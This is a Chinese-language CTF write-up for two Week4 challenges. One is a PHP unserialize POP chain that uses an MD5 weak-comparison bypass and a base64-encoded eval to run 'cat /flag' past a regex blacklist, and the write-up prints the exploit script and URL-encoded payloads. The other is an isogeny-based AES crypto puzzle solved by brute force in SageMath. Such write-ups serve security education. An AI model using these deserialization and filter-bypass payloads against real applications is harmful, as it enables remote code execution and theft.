CTF相关比赛个人WP?CTF2025 week4部分WP
debu8gerWEB
[Week4] Path to Hero
题目描述:初出茅庐的勇者啊,你能战胜魔王,得到至宝吗?
打开靶机,观察前端显示:
<?php highlight_file('index.php');
Class Start { public $ishero; public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") { echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword; } else{ echo "前方的区域以后再来探索吧!<br>"; } } }
class Sword //MD5弱类型比较 { public $test1; public $test2; public $go;
public function __get($name) { if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) { echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>"; echo $this->go; } else { echo "Dead"; } } }
class Mon3tr { private $result; public $end;
public function __toString() { $result = new Treasure(); echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) { $result->end($this->end); } else { echo "难道……要输了吗?<br>"; } return "<br>"; } }
class Treasure { public function __call($name, $arg) { echo "结束了?<br>"; eval($arg[0]); } }
if (isset($_POST["HERO"])) { unserialize($_POST["HERO"]); }
|
看到关键词unserialize以及魔术方法_wakeup()、_toString()得知,考察PHP的ROP链反序列化,
第一个类Start,我们让$adventrue为一个Sword对象;
第二个类Sword是典型的MD5弱类型比较(==比较哈希值),我们只需让$a = 240610708 & $b = QNKCDZO,MD5的值因为都以0e开头,被科学计数法处理为0,相等;
第三个类Mon3tr考察黑名单绕过(正则过滤の绕过),可以使用base64编码绕过;
第四个类Treasure则考察RCE,任意代码执行。
构造payload:
<?php
class Start { public $ishero; public $adventure; }
class Sword { public $test1; public $test2; public $go; }
class Mon3tr { public $end; }
class Treasure { public function __call($name, $arg) { eval($arg[0]); } }
$mon3tr = new Mon3tr(); $mon3tr->end = "print_r(scandir('/'));"; $sword = new Sword(); $sword->test1 = "240610708"; $sword->test2 = "QNKCDZO"; $sword->go = $mon3tr; $start = new Start(); $start->ishero = "herox"; $start->adventure = $sword;
echo urlencode(serialize($start)); ?>
|
得到:O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A5%3A%22herox%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A9%3A%22240610708%22%3Bs%3A5%3A%22test2%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A22%3A%22print_r%28scandir%28%27%2F%27%29%29%3B%22%3B%7D%7D%7D
先调用类似ls /命令查看文件夹,得到:

然后再用eval()函数,再base64编码,改$mon3tr->end = "print_r(scandir('/'));";为$mon3tr->end = "eval(base64_decode('cGFzc3RocnUoJ2NhdCAvZmxhZycpOw=='));";,执行php代码,得到:O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A5%3A%22herox%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A9%3A%22240610708%22%3Bs%3A5%3A%22test2%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A56%3A%22eval%28base64_decode%28%27cGFzc3RocnUoJ2NhdCAvZmxhZycpOw%3D%3D%27%29%29%3B%22%3B%7D%7D%7D,
POST请求,最终得到flag:flag{e24449c0-752e-42fe-8e9a-cff80fe7e221}
Crypto
[Week4] Myneighbors
题目描述:我是我的邻居?https://eprint.iacr.org/2019/1321.pdf
题目代码为sagemath格式的:
from secret import magical_num, flag from Crypto.Util.Padding import pad from Crypto.Util.number import * from Crypto.Cipher import AES import hashlib
p = 431 F.<i> = GF(p^2, modulus = x^2 + 1) E = EllipticCurve(j=F(magical_num)) assert E.is_supersingular()
P = E(0).division_points(2)[1:] neighbors = [] for idx in range(len((P))): phi = E.isogeny(P[idx]) EE = phi.codomain() neighbors.append(EE.j_invariant())
assert E.j_invariant() in neighbors
P = E(0).division_points(3)[1:] shuffle(P)
phi = E.isogeny(P[0]) E = phi.codomain() H = hashlib.md5(str(E.j_invariant()).encode()).hexdigest().encode() key, iv = H[:16], H[16:]
aes = AES.new(key, AES.MODE_CBC, iv) cipher = aes.encrypt(pad(flag, 16)) print(f'cipher: {cipher.hex()}')
|
可以看到assert E.j_invariant() in neighbors,E的j-invariant在自己的2-isogeny邻居中,
同时,从题目给的文献里得知:
- 在
2-isogeny图中,每个j-invariant通常有3个邻居;
- 特殊的
j-invariant包括p=431时,j 属于{0, 2, 242}和j=0&&j=242时,在图中有自环。
因此,我们的攻击思路为:
magical_num必须是有自环的;
- 尝试
j 属于{0, 242};
- 枚举所有可能的
3-isogeny目标曲线;
- 对
p=431,每个曲线则有4个3-isogeny邻居。
综上,EXP为:
from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import hashlib
p = 431 F.<i> = GF(p^2, modulus = x^2 + 1)
cipher_hex = '49e90a91357fef12c54234b3cb553bb2fdd61f2af8c7e78b3d5ffdeac7022af0' cipher = bytes.fromhex(cipher_hex) candidates = [F(0), F(4), F(242)]
for magical_num in candidates: try: E = EllipticCurve(j=magical_num) if not E.is_supersingular(): continue P = E(0).division_points(2)[1:] neighbors = [] for idx in range(len(P)): phi = E.isogeny(P[idx]) EE = phi.codomain() neighbors.append(EE.j_invariant()) if E.j_invariant() not in neighbors: continue print(f"Found magical_num: {magical_num}") P3 = E(0).division_points(3)[1:] for P_point in P3: try: phi = E.isogeny(P_point) E_new = phi.codomain() j_inv = E_new.j_invariant() H = hashlib.md5(str(j_inv).encode()).hexdigest().encode() key, iv = H[:16], H[16:] aes = AES.new(key, AES.MODE_CBC, iv) try: plaintext = unpad(aes.decrypt(cipher), 16) if b'flag{' in plaintext or b'FLAG{' in plaintext: print(f"Success with j-invariant: {j_inv}") print(f"Flag: {plaintext.decode()}") exit() except: pass except: pass except Exception as e: continue
print("Flag not found - trying all j-invariants from the paper...") all_j_invariants = [ F(0), F(4), F(316), F(107), F(419), F(234), F(102), F(241), F(143), F(358), F(125), F(19), F(242), F(61), F(381), F(319), F(356), F(150), F(422), F(67), F(189), F(81*i + 65), F(67*i + 304), F(350*i + 65), F(132*i + 315), F(125*i + 426), F(306*i + 426), F(299*i + 315), F(325*i + 379), F(222*i + 118), F(106*i + 379), F(42*i + 141), F(209*i + 118), F(389*i + 141), F(364*i + 304), F(344*i + 190), F(87*i + 190) ]
for j_inv in all_j_invariants: H = hashlib.md5(str(j_inv).encode()).hexdigest().encode() key, iv = H[:16], H[16:] aes = AES.new(key, AES.MODE_CBC, iv) try: plaintext = unpad(aes.decrypt(cipher), 16) if b'flag{' in plaintext or b'FLAG{' in plaintext or plaintext.startswith(b'flag') or plaintext.isascii(): print(f"Found with j-invariant: {j_inv}") print(f"Flag: {plaintext.decode()}") break except: pass
|